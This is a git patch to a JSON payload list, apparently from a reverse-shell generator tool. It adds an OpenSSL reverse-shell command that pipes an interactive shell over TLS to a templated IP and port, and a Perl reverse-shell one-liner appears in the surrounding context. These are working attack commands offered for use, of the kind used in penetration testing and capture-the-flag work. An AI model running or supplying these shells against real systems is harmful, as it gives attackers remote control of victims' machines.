From 42564b15380d76908bc5a9f7afa29411c8a9228c Mon Sep 17 00:00:00 2001 From: Sin <89893869+whois-sin@users.noreply.github.com> Date: Wed, 18 Sep 2024 23:45:28 -0400 Subject: [PATCH] Update RevShell.json Added reverse OpenSSL reverse shell --- src/assets/data/RevShell.json | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/src/assets/data/RevShell.json b/src/assets/data/RevShell.json index ee54635..0ede9a4 100644 --- a/src/assets/data/RevShell.json +++ b/src/assets/data/RevShell.json @@ -109,6 +109,13 @@ "mac" ] }, + { + "name": "OpenSSL", + "command": "mkfifo /tmp/sin; {shell} -i < /tmp/sin 2>&1 | openssl s_client -quiet -connect ${values.ip}:${values.port} > /tmp/sin; rm /tmp/sin", + "tags": [ + "linux" + ] + }, { "name": "Perl", "command": "perl -e 'use Socket;$i=\"${values.ip}\";$p=${values.port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", @@ -372,4 +379,4 @@ "windows" ] } -] \ No newline at end of file +]